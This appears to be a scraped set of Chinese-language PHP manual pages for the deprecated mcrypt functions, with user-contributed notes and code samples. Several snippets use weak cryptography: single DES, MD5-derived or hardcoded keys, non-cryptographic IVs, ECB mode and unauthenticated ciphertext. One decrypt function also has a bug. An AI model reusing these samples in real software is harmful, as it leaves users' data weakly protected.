The security model of a block cipher is, simplistically at least, defined to be "if you encrypt one block of plaintext with a randomly chosen key, it will be computationally infeasible for an attacker with knowledge of only the ciphertext (i.e. he does not know the key) to discover information about the contents of the plaintext". The reality is slightly different - there are also clauses around knowing part of the plaintext and not being able to discover any more of it - but that's another story.

Once you start encrypting more than one block of plaintext using the same block transform and the same key, all bets are off. In the Electronic Codebook (ECB) cipher mode, each block of plaintext is independently transformed using the same key. This leads to a problem: identical plaintext blocks produce identical ciphertext blocks, when the same key is used. This means that "patterns" in the data can be seen, especially in data formats that have repeating patterns or long sequences of identical data. This is best described visually, with an ECB-encrypted bitmap. See the Wikipedia article on ECB for a demonstration of this.
Mahn 24-Aug-2014 12:50
Specify MCRYPT_RAND in the second parameter if this function randomly hangs in your requests.
Graham 16-Mar-2014 11:35
In relation to all of the crypto "advice" seen here, my suggestion is that you ignore most of it. Some of it is good, some of it is bad, but most of it skips the critical issues.

I had hoped to write out a nice long explanation, but PHP's commenting system tells me my essay is too long. Instead I will say this:

You should use CBC, with a randomly chosen IV that is unique per key, and you should transmit that IV in the clear along with your ciphertext. You should also perform an authenticity check of that entire data blob, using something like HMAC-SHA256, with another independent key.

Here's the full-text of what I was going to write: http://pastebin.com/sN6buivY

If you're interested in this stuff, or just want more information, check out the Wikipedia articles around block cipher modes, block ciphers, HMAC, etc.

I also suggest reading Practical Cryptography by Bruce Schneier, as well as Cryptography Engineering by Niels Ferguson, both of which are very easy-to-digest books on practical cryptography.
nils at nm dot cx 19-Jun-2012 12:26
If you use /dev/random you need a well filled entropy pool or the application will block until enough good entropy comes available
hans at llis dot nl 29-Apr-2012 10:01
This does NOT generate randomly distributed IV's on all systems and therefore poses a big security risk. Using a script (based on the one that Alex Khimch's posted on the rand() page) one can easily check this:

<?php

$td = mcrypt_module_open (MCRYPT_RIJNDAEL_256, "", MCRYPT_MODE_CBC, "");
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_DEV_RANDOM);

// header("Content-type: image/png");
$img = imagecreatetruecolor(255,255);

$ink = imagecolorallocate($img,255,255,255);
for($i=0;$i<255;$i++) {
  for($j=0;$j<255;$j++) {
  $twobytes = substr ($iv, 0, 2);
  $iv = substr ($iv, 2);
  if (!strlen ($iv)) $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND);

  imagesetpixel($img, ord($twobytes[0]), ord($twobytes[1]), $ink);
  }
}

imagepng($img);
imagedestroy($img);

?>

The resulting image should show random noise, but on the windows systems I tested (running PHP 5.3.x) it showed very distinct patterns.
Matthew 25-Sep-2008 07:09
I encrypt a few items on a page in a project i am working on and I have found the IV create function to introduce huge delays in rendering the page too (I noticed someone else here had this problem).

It's quite common for a 4 second render time for what should be a snappy site. I would recommend that if speed is essential that an alternative method be used to create your IV (such as the one below if you feel it secure enough).

After using an alternative IV creation method my page went from a 4 second render to a 0.01 second render time.
Chris 05-Nov-2006 03:07
>First, the IV should be random and variable. The whole >point of it is to ensure that the same plaintext does not >encrypt to the same ciphertext every time. You most >certainly do lose security if the IV is constant or public.

Wrong, Wrong WRONG! The initialization vector is ALLOWED to be PUBLIC! It is generally sent along with the ciphertext, UNENCRYPTED.

>The ciphertext should be E(IV | plaintext, key)

Wrong again! The initialization vector is NOT prepended to the plaintext before encryption. The IV is used to seed the feedback system! (which is why you don't need one in ECB mode - there is no feedback)

>Second, the IV should not be part of the decryption >parameters at all. You should be able to decrypt the cipher >text, throw away the initial vector at the front w/o even >reading it, and have your plaintext:

Nope. You need to seed the feedback mechanism during decryption to the SAME state as it was seeded during encryption. This means using the SAME IV!
kkaiser at dataresolutions dot com 11-Jul-2006 01:26
After profiling a rather large, dynamic website I maintain to determine the cause of intermittent freezing in execution, I found that calls to mcrypt_create_iv() using MCRYPT_DEV_RANDOM as the source consistently halted execution for anywhere from 0.2 to ~12 seconds per call, ironically at random. I'm making the assumption that the halts were caused by insufficient random input being currently available in /dev/random due to its intended function to block until enough random input is provided back to the device. I've found it to be sufficient for my needs to use a modified version of the alt_mcrypt_create_iv() function found below.

Although untested, I assume using MCRYPT_DEV_URANDOM or a combination of MCRYPT_DEV_RAND with srand() would've solved the problem as well; I found out after the fact that /dev/urandom's intended function is to seamlessly provide cryptographically secure output from the random number generator when the /dev/urandom buffer was empty, and MCRYPT_DEV_RAND would simply use the same rand() function as alt_mcrypt_create_iv().

-Kevin Kaiser
Anonymous 17-Oct-2005 09:01
At:
edwardzyang at thewritingpot dot com
19-Jul-2005 10:06

This is because of the fact, that (like described in the manual above) this function does NOT reseed the random number generator, in contrary to rand(). Use srand() like suggested above to get correct IVs.
tim at indigopixel dot com 17-Mar-2004 04:32
From http://www.ciphersbyritter.com/GLOSSARY.HTM#IV (linked to above):

"While it is often said that IV values need only be random-like or unpredictable, and need not be confidential, in the case of CBC mode, that advice can lead to man-in-the-middle attacks on the first plaintext block. If a MITM opponent knows the usual content of the first block, they can change the IV to manipulate that block (and only that block) to deliver a different address, or different dollar amounts, or different commands, or whatever. And while the conventional advice is to use a MAC at a higher level to detect changed plaintext, that is not always desirable or properly executed. But the CBC first-block problem is easily solved at the CBC level simply by enciphering the IV and otherwise keeping it confidential, and that can be reasonable even when a MAC will be used later."
robert at peakepro dot com 03-Mar-2004 12:25
It is important to note that all cipher modes except ecb require the same IV to be used in decryption as was used in encryption.

You need to pass the key *and* the IV to your decrypt function. Initializing a new IV in the decrypt routine will not work.

Since, "you even can send [the IV] along with your ciphertext without  loosing security," a nice way to handle this is to prepend your IV to your ciphertext. Since the IV is fixed-width, you can then easily recover the IV and original ciphertext using mcrypt_get_iv_size() and substr().

Here is an example:

<?PHP
function my_encrypt($string,$key) {
   srand((double) microtime() * 1000000); //for sake of MCRYPT_RAND
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mcrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       $c_t = $iv.$c_t;
       return $c_t;
   } //end if
}

function my_decrypt($string,$key) {
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = substr($string,0,$iv_size);
  $string = substr($string,$iv_size);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mdecrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       return $c_t;
   } //end if
}
// to test:
//print my_decrypt(my_encrypt("Hello, world.","foo"),"foo");
?>
fandelem at hotmail dot com 06-Mar-2002 03:59
note: if you are experiencing a problem about complaining that the second parameter has to be a 'long' and you are giving a 'string' (for me, it was using MCRYPT_URANDOM) you might want to try MCRYPT_DEV_URANDOM :)


使用给定参数解密密文

  • ? mcrypt_create_iv
  • mcrypt_enc_get_algorithms_name ?
  • PHP Manual
  • Mcrypt 函数
  • 使用给定参数解密密文

mcrypt_decrypt

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_decrypt — 使用给定参数解密密文

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_decrypt(
string $cipher,
string $key,
string $data,
string $mode,
string $iv = ?
): string|false

解密 data 并返回明文。

参数

cipher

MCRYPT_ciphername 常量中的一个，或者是字符串值的算法名称。

key

数据加密密钥。 如果密钥长度不是加解密算法能够支持的有效长度， 那么会产生警告并且返回 false

data

要使用给定的 cipher 和 mode 解密的数据。 如果数据大小不是 n * 分组大小，则在其后追加 '\0' 来补齐。

mode

MCRYPT_MODE_modename 常量中的一个，或以下字符串中的一个："ecb"，"cbc"，"cfb"，"ofb"，"nofb" 和 "stream"。

iv

Used for the initialization in CBC, CFB, OFB modes, and in some algorithms in STREAM mode. If the provided IV size is not supported by the chaining mode or no IV was provided, but the chaining mode requires one, the function will emit a warning and return false.

返回值

以字符串格式返回解密后的数据， 或者在失败时返回 false。

参见

  • mcrypt_encrypt() - 使用给定参数加密明文

User Contributed Notes

gmmarco at outlook dot my 28-Nov-2017 05:43
Look at http://php.net/manual/en/function.openssl-decrypt.php for a replacement.

Supports PHP 5 >= 5.3.0, PHP 7
pnz dot r00t at yandex dot ru 29-Feb-2016 11:44
When i using this function i find some problem, with adding additional binary symbols in decode message.
$sDecrypt - ?2433091?
$sDecrypt strlen - 16 (before trim)
$sDecrypt - ?2433091?
$sDecrypt strlen - 7 (after trim)
At local PC this problem solved by using trim/trim, but if I send my encrypt message to sever, and try encrypt them, I see that my message is not 16 symbols, as it was in my local pc, it is 32 sybmols, after encode. And trim function not working. I look at symbols code and what I see
    50
    52
    51
    51
    48
    57
    49
    0
    0
    0
    0
    0
    0
    0
    0
    0
    10
    158
    112
    183
    154
    27
    95
    85
    42
    35
    95
    54
    227
    41
    179
    77
After "tabulation symbols" I get some junk symbols, and  I solve this problems like this.
After mcrypt_decrypt I use this code
$plaintext_dec = substr($plaintext_dec, 0, strpos($plaintext_dec, "\0"));
I think it is not best resolution for this problem, but I solve my problem :)
artaxerxes2 at iname dot com 21-May-2013 04:17
To decrypt data coming from MySQL's AES_ENCRYPT function:

<?php

function mysql_aes_key($key)
{
    $new_key = str_repeat(chr(0), 16);
    for($i=0,$len=strlen($key);$i<$len;$i++)
    {
        $new_key[$i%16] = $new_key[$i%16] ^ $key[$i];
    }
    return $new_key;
}

function aes_decrypt($encrypted,$key)
{
    // if $encrypted is HEXed, then return it to binary
    $encrypted = pack('H*',$encrypted);

    $key = mysql_aes_key($key);
    return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$key,$encrypted,MCRYPT_MODE_ECB,''),"\x00..\x1F");
}

?>

adapted from the article "Replicating MySQL AES Encryption Methods With PHP" (dated 2012-05-20) found somewhere online.
beltrachi 30-Sep-2011 12:34
Caution, MCRYPT_RIJNDAEL_256 is not equivalent to AES_256.

The way to make RIJNDAEL be decrypted from AES with openssl is to use MCRYPT_RIJNDAEL_128 and padd the string to encrypt before encrypting with the follwing function:

<?php
function pkcs5_pad ($text, $blocksize) {
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}
?>

On the decryption, the choosing of AES_256 or AES_128, etc. is based on the keysize used in the crypting. In my case it was a 128bit key so I used AES_128.
evangelion207 at hotmail dot com 17-Apr-2011 08:24
Be careful, sometimes mcrypt_decrypt return additional white spaces to the uncrypted string; use trim() for deleting them. I was like 2 hours searching the error and it was that..
Anonymous 24-Nov-2010 03:41
To remove PKCS7 padding:

<?php
    $decrypted = mdecrypt_generic($td, base64_decode($enc_auth_token));
    $dec_s = strlen($decrypted);
    $padding = ord($decrypted[$dec_s-1]);
    $decrypted = substr($decrypted, 0, -$padding);
?>
david at sickmiller dot com 02-Oct-2008 10:15
If you happen to be decrypting something encrypted in ColdFusion, you'll discover that its encrypt function apparently pads the plaintext with ASCII 4, the "end of transmission" character.

Building on eddiec's code, you can remove both nulls and EOTs with this:

<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0\4");     // trim ONLY the nulls and EOTs at the END
?>
eddiec at stararcher dot com 13-Jul-2005 06:26
It appears that mcrypt_decrypt pads the *RETURN STRING* with nulls ('\0') to fill out to n * blocksize.  For old C-programmers, like myself, it is easy to believe the string ends at the first null.  In PHP it does not:

    strlen("abc\0\0") returns 5 and *NOT* 3
    strcmp("abc", "abc\0\0") returns -2 and *NOT* 0

I learned this lesson painfully when I passed a string returned from mycrypt_decrypt into a NuSoap message, which happily passed the nulls along to the receiver, who couldn't figure out what I was talking about.

My solution was:
<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0");     // trim ONLY the nulls at the END
?>


返回打开的算法名称

  • ? mcrypt_decrypt
  • mcrypt_enc_get_block_size ?
  • PHP Manual
  • Mcrypt 函数
  • 返回打开的算法名称

mcrypt_enc_get_algorithms_name

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_algorithms_name — 返回打开的算法名称

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_get_algorithms_name(resource $td): string

本函数返回算法名称。

参数

td

加密描述符。

返回值

以字符串格式返回打开的加密算法名称。

示例

Example #1 mcrypt_enc_get_algorithms_name() 示例

<?php
$td = mcrypt_module_open(MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";

$td = mcrypt_module_open('cast-256', '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";
?>

以上示例会输出：

CAST-256
CAST-256

User Contributed Notes

php-manual2 at omershenker dot net 13-May-2003 03:44
For some reason this function (but not mcrypt_list_algorithms()) returns each element in the array twice. If you have this problem, try array_unique(mcrypt_list_algorithms()).


返回打开的算法的分组大小

  • ? mcrypt_enc_get_algorithms_name
  • mcrypt_enc_get_iv_size ?
  • PHP Manual
  • Mcrypt 函数
  • 返回打开的算法的分组大小

mcrypt_enc_get_block_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_block_size — 返回打开的算法的分组大小

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_get_block_size(resource $td): int

获取打开的算法的分组大小。

参数

td

加密描述符。

返回值

返回指定算法的分组大小，以字节为单位。

User Contributed Notes

There are no user contributed notes for this page.


返回打开的算法的初始向量大小

  • ? mcrypt_enc_get_block_size
  • mcrypt_enc_get_key_size ?
  • PHP Manual
  • Mcrypt 函数
  • 返回打开的算法的初始向量大小

mcrypt_enc_get_iv_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_iv_size — 返回打开的算法的初始向量大小

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_get_iv_size(resource $td): int

本函数返回由加密描述符指定的算法所使用的初始向量大小， 以字节为单位。 在 cbc，cfb 和 ofb 模式以及某些流模式算法中会用到初始向量。

参数

td

加密描述符。

返回值

返回初始向量大小。如果算法忽略初始向量，则返回 0。

User Contributed Notes

There are no user contributed notes for this page.


返回打开的模式所能支持的最长密钥

  • ? mcrypt_enc_get_iv_size
  • mcrypt_enc_get_modes_name ?
  • PHP Manual
  • Mcrypt 函数
  • 返回打开的模式所能支持的最长密钥

mcrypt_enc_get_key_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_key_size — 返回打开的模式所能支持的最长密钥

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_get_key_size(resource $td): int

返回打开的模式所能支持的最长密钥，以字节为单位。

参数

td

加密描述符。

返回值

返回打开的模式所能支持的最长密钥，以字节为单位。

User Contributed Notes

There are no user contributed notes for this page.


返回打开的模式的名称

  • ? mcrypt_enc_get_key_size
  • mcrypt_enc_get_supported_key_sizes ?
  • PHP Manual
  • Mcrypt 函数
  • 返回打开的模式的名称

mcrypt_enc_get_modes_name

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_modes_name — 返回打开的模式的名称

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_get_modes_name(resource $td): string

返回模式名称。

参数

td

加密描述符。

返回值

以字符串格式返回模式名称。

示例

Example #1 mcrypt_enc_get_modes_name() 示例

<?php
$td = mcrypt_module_open (MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_modes_name($td). "\n";

$td = mcrypt_module_open ('cast-256', '', 'ecb', '');
echo mcrypt_enc_get_modes_name($td). "\n";
?>

以上示例会输出：

CFB
ECB

User Contributed Notes

There are no user contributed notes for this page.


以数组方式返回打开的算法所支持的密钥长度

  • ? mcrypt_enc_get_modes_name
  • mcrypt_enc_is_block_algorithm_mode ?
  • PHP Manual
  • Mcrypt 函数
  • 以数组方式返回打开的算法所支持的密钥长度

mcrypt_enc_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_supported_key_sizes — 以数组方式返回打开的算法所支持的密钥长度

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_get_supported_key_sizes(resource $td): array

获取打开的算法所支持的密钥长度。

参数

td

加密描述符。

返回值

返回由加密描述符指定的算法所能够支持的密钥长度。 如果该算法支持从 1 到 mcrypt_enc_get_key_size() 之间任意长度的密钥，则返回空数组。

示例

Example #1 mcrypt_enc_get_supported_key_sizes() 示例

<?php
$td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
var_dump(mcrypt_enc_get_supported_key_sizes($td));
?>

以上示例会输出：

array(3) {
  [0]=>
  int(16)
  [1]=>
  int(24)
  [2]=>
  int(32)
}

User Contributed Notes

There are no user contributed notes for this page.


检测打开的模式是否支持分组加密

  • ? mcrypt_enc_get_supported_key_sizes
  • mcrypt_enc_is_block_algorithm ?
  • PHP Manual
  • Mcrypt 函数
  • 检测打开的模式是否支持分组加密

mcrypt_enc_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_algorithm_mode — 检测打开的模式是否支持分组加密

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_is_block_algorithm_mode(resource $td): bool

打开的模式的算法是否支持分组加密 （例如： 如果是流模式，则返回 false， cbc，cfb，ofb 模式则返回 true）。

参数

td

加密描述符。

返回值

如果算法支持分组模式，返回 true， 反之返回 false。

User Contributed Notes

There are no user contributed notes for this page.


检测打开模式的算法是否为分组算法

  • ? mcrypt_enc_is_block_algorithm_mode
  • mcrypt_enc_is_block_mode ?
  • PHP Manual
  • Mcrypt 函数
  • 检测打开模式的算法是否为分组算法

mcrypt_enc_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_algorithm — 检测打开模式的算法是否为分组算法

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_is_block_algorithm(resource $td): bool

打开模式的算法是否为分组算法。

参数

td

加密描述符。

返回值

如果是分组算法，返回 true， 如果是流模式，返回 false。

User Contributed Notes

There are no user contributed notes for this page.


检测打开的模式是否以分组方式输出

  • ? mcrypt_enc_is_block_algorithm
  • mcrypt_enc_self_test ?
  • PHP Manual
  • Mcrypt 函数
  • 检测打开的模式是否以分组方式输出

mcrypt_enc_is_block_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_mode — 检测打开的模式是否以分组方式输出

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_is_block_mode(resource $td): bool

打开的模式是否以分组方式输出 （例如，对于 cbc 和 ecb 模式而言返回 true，对于 cfb 和流模式而言，返回 false）。

参数

td

加密描述符。

返回值

如果模式以字节分组（字节块）方式输出，返回 true， 如果是以字节方式输出，返回 false。

User Contributed Notes

There are no user contributed notes for this page.


在打开的模块上进行自检

  • ? mcrypt_enc_is_block_mode
  • mcrypt_encrypt ?
  • PHP Manual
  • Mcrypt 函数
  • 在打开的模块上进行自检

mcrypt_enc_self_test

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_self_test — 在打开的模块上进行自检

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_enc_self_test(resource $td): int

在 td 指定的算法 上进行自检操作。

参数

td

加密描述符。

返回值

自检成功返回 0，失败则返回一个小于零的int。

User Contributed Notes

There are no user contributed notes for this page.


使用给定参数加密明文

  • ? mcrypt_enc_self_test
  • mcrypt_generic_deinit ?
  • PHP Manual
  • Mcrypt 函数
  • 使用给定参数加密明文

mcrypt_encrypt

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_encrypt — 使用给定参数加密明文

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_encrypt(
string $cipher,
string $key,
string $data,
string $mode,
string $iv = ?
): string|false

加密数据并返回密文。

参数

cipher

MCRYPT_ciphername 常量中的一个，或者是字符串值的算法名称。

key

加密密钥。 如果密钥长度不是该算法所能够支持的有效长度，则函数将会发出警告并返回 false

data

使用给定的 cipher 和 mode 加密的数据。 如果数据长度不是 n*分组大小，则在其后使用 '\0' 补齐。

返回的密文长度可能比 data 更大。

mode

MCRYPT_MODE_modename 常量中的一个，或以下字符串中的一个："ecb"，"cbc"，"cfb"，"ofb"，"nofb" 和 "stream"。

iv

Used for the initialization in CBC, CFB, OFB modes, and in some algorithms in STREAM mode. If the provided IV size is not supported by the chaining mode or no IV was provided, but the chaining mode requires one, the function will emit a warning and return false.

返回值

以字符串方式返回密文， 或者在失败时返回 false。

示例

Example #1 mcrypt_encrypt() 示例

<?php
# --- 加密 ---

# 密钥应该是随机的二进制数据，
# 开始使用 scrypt, bcrypt 或 PBKDF2 将一个字符串转换成一个密钥
# 密钥是 16 进制字符串格式
$key = pack('H*', "bcb04b7e103a0cd8b54763051cef08bc55abe029fdebae5e1d417e2ffb2a00a3");

# 显示 AES-128, 192, 256 对应的密钥长度：
#16，24，32 字节。
$key_size = strlen($key);
echo "Key size: " . $key_size . "\n";

$plaintext = "This string was AES-256 / CBC / ZeroBytePadding encrypted.";

# 为 CBC 模式创建随机的初始向量
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

# 创建和 AES 兼容的密文（Rijndael 分组大小 = 128）
# 仅适用于编码后的输入不是以 00h 结尾的
# （因为默认是使用 0 来补齐数据）
$ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
$plaintext, MCRYPT_MODE_CBC, $iv);

# 将初始向量附加在密文之后，以供解密时使用
$ciphertext = $iv . $ciphertext;

# 对密文进行 base64 编码
$ciphertext_base64 = base64_encode($ciphertext);

echo $ciphertext_base64 . "\n";

# === 警告 ===

# 密文并未进行完整性和可信度保护，
# 所以可能遭受 Padding Oracle 攻击。

# --- 解密 ---

$ciphertext_dec = base64_decode($ciphertext_base64);

# 初始向量大小，可以通过 mcrypt_get_iv_size() 来获得
$iv_dec = substr($ciphertext_dec, 0, $iv_size);

# 获取除初始向量外的密文
$ciphertext_dec = substr($ciphertext_dec, $iv_size);

# 可能需要从明文末尾移除 0
$plaintext_dec = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,
$ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);

echo $plaintext_dec . "\n";
?>

以上示例会输出：

Key size: 32
ENJW8mS2KaJoNB5E5CoSAAu0xARgsR1bdzFWpEn+poYw45q+73az5kYi4j+0haevext1dGrcW8Qi59txfCBV8BBj3bzRP3dFCp3CPQSJ8eU=
This string was AES-256 / CBC / ZeroBytePadding encrypted.

参见

  • mcrypt_decrypt() - 使用给定参数解密密文
  • mcrypt_module_open() - 打开算法和模式对应的模块

User Contributed Notes

Anonymous 14-Jan-2018 09:54
<?php
# Vernam Cipher (One-time pad)
$k1 = '1.key';
$k2 = '2.key';
$d = 'The quick brown fox jumped over the lazy dog';
VernamCipher::createTestKeyFile($k1, 1024);
copy($k1, $k2);
$c1 = new VernamCipher($k1);
$eD = $c1->encryptWithHMAC($d);
echo 'Encrypted: ', bin2hex($eD);
$c2 = new VernamCipher($k2);
echo PHP_EOL, 'Decrypted: ', $c2->decryptWithHMAC($eD);

class VernamCipher
{
    const DEFAULT_HMAC_ALGO = 'sha3-256';
    const DEFAULT_HMAC_KEY_LENGTH = 16;
    const DEFAULT_HMAC_HASH_LENGTH = 32;
    private $keyFilePath;
    private $keyFileHandler;
    private $deferredFtruncate = false;
    private $deferredFtruncatePos;
    private $hmacAlgo = self::DEFAULT_HMAC_ALGO;
    private $hmacKeyLength = self::DEFAULT_HMAC_KEY_LENGTH;
    private $hmacHashLength = self::DEFAULT_HMAC_HASH_LENGTH;

    function __construct(string $keyFilePath, string $hmacAlgo = self::DEFAULT_HMAC_ALGO, int $hmacKeyLength = self::DEFAULT_HMAC_KEY_LENGTH)
    {
        $this->keyFilePath = $keyFilePath;
        $this->openKeyFile();

        if($hmacAlgo !== self::DEFAULT_HMAC_ALGO) {
            if(in_array($hmacAlgo, hash_algos())) {
                $this->hmacAlgo = $hmacAlgo;
                $this->hmacHashLength = strlen(hash($this->hmacAlgo, '', true));
            }
            else {
                $this->hmacAlgo = self::DEFAULT_HMAC_ALGO;
                $this->hmacHashLength = self::DEFAULT_HMAC_HASH_LENGTH;
            }
        }

        if($hmacKeyLength !== self::DEFAULT_HMAC_KEY_LENGTH) {
            $this->hmacKeyLength = $hmacKeyLength;
        }
    }
    public function encryptWithHMAC(string $data)
    {
        $hmacKey = $this->getBytes($this->hmacKeyLength);
        $encData = $this->encrypt($data);
        $dataHmac = $this->hashHmac($encData, $hmacKey);

        return $dataHmac.$encData;
    }
    public function decryptWithHMAC(string $data)
    {
        $dataLength = strlen($data);

        if($dataLength < $this->hmacHashLength)
            throw new Exception('data length '.$dataLength.' < hmac length '. $this->hmacHashLength);

        $dataHmacRemote = substr($data, 0, $this->hmacHashLength);
        $dataOnly = substr($data, $this->hmacHashLength);

        $hmacKey = $this->getBytes($this->hmacKeyLength, false);
        $dataHmacLocal = $this->hashHmac($dataOnly, $hmacKey);

        if(hash_equals($dataHmacLocal, $dataHmacRemote) === false)
            throw new Exception('Hashes not equals, remote: '.bin2hex($dataHmacRemote).' local:'. bin2hex($dataHmacLocal));

        $this->deferredFtruncate();

        return $this->encrypt($dataOnly);
    }
    public function encrypt(string $data) : string
    {
        $dataLength = strlen($data);
        $bytes = $this->getBytes($dataLength);
        for($i=0;$i<$dataLength;$i++)
            $data{$i} = $data{$i} ^ $bytes{$i};

        return $data;
    }
    public function decrypt(string $data) : string
    {
        return $this->encrypt($data);
    }
    private function hashHmac($data, $key)
    {
        return hash_hmac($this->hmacAlgo, $data, $key, true);
    }
    # Don't use in production. You must use true random number generator.
    public static function createTestKeyFile(string $filePath, int $size)
    {
        file_put_contents($filePath, random_bytes($size));
    }
    private function deferredFtruncate()
    {
        if(!$this->deferredFtruncate)
            return;

        ftruncate($this->keyFileHandler, $this->deferredFtruncatePos);
        $this->deferredFtruncate = false;
    }
    public function getBytes(int $length, $truncateNow = true) : string
    {
        fseek($this->keyFileHandler, 0, SEEK_END);
        $currentPos = ftell($this->keyFileHandler);

        if($currentPos < $length)
            throw new Exception('Not enough key materials, key size: '. $currentPos. ' needed: '.$length);

        fseek($this->keyFileHandler, -$length, SEEK_END);
        $bytes = fread($this->keyFileHandler, $length);

        if($truncateNow)
            ftruncate($this->keyFileHandler, $currentPos - $length);
        else {
            $this->deferredFtruncate = true;
            $this->deferredFtruncatePos = $currentPos - $length;
        }

        return $bytes;
    }
    private function openKeyFile()
    {
        if($this->keyFileHandler)
            return;

        if(($this->keyFileHandler = fopen($this->keyFilePath, 'rb+')) === false)
            throw new Exception('Cant open key file: '.$this->keyFilePath);

        if(!flock($this->keyFileHandler, LOCK_EX | LOCK_NB))
            throw new Exception('Cant lock key file: '.$this->keyFilePath);
    }
}
?>
leilond at hotmail dot com 27-May-2016 03:40
I always use this method to prevent a lot of errors

function encrypt( $string ) {
  $algorithm = 'rijndael-128'; // You can use any of the available
  $key = md5( "mypassword", true); // bynary raw 16 byte dimension.
  $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
  $iv = mcrypt_create_iv( $iv_length, MCRYPT_RAND );
  $encrypted = mcrypt_encrypt( $algorithm, $key, $string, MCRYPT_MODE_CBC, $iv );
  $result = base64_encode( $iv . $encrypted );
  return $result;
}
function decrypt( $string ) {
  $algorithm =  'rijndael-128';
  $key = md5( "mypassword", true );
  $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
  $string = base64_decode( $string );
  $iv = substr( $string, 0, $iv_length );
  $encrypted = substr( $string, $iv_length );
  $result = mcrypt_decrypt( $algoritmo, $key, $encrypted, MCRYPT_MODE_CBC, $iv );
  return $result;
}
scott at paragonie dot com 18-Jul-2015 10:35
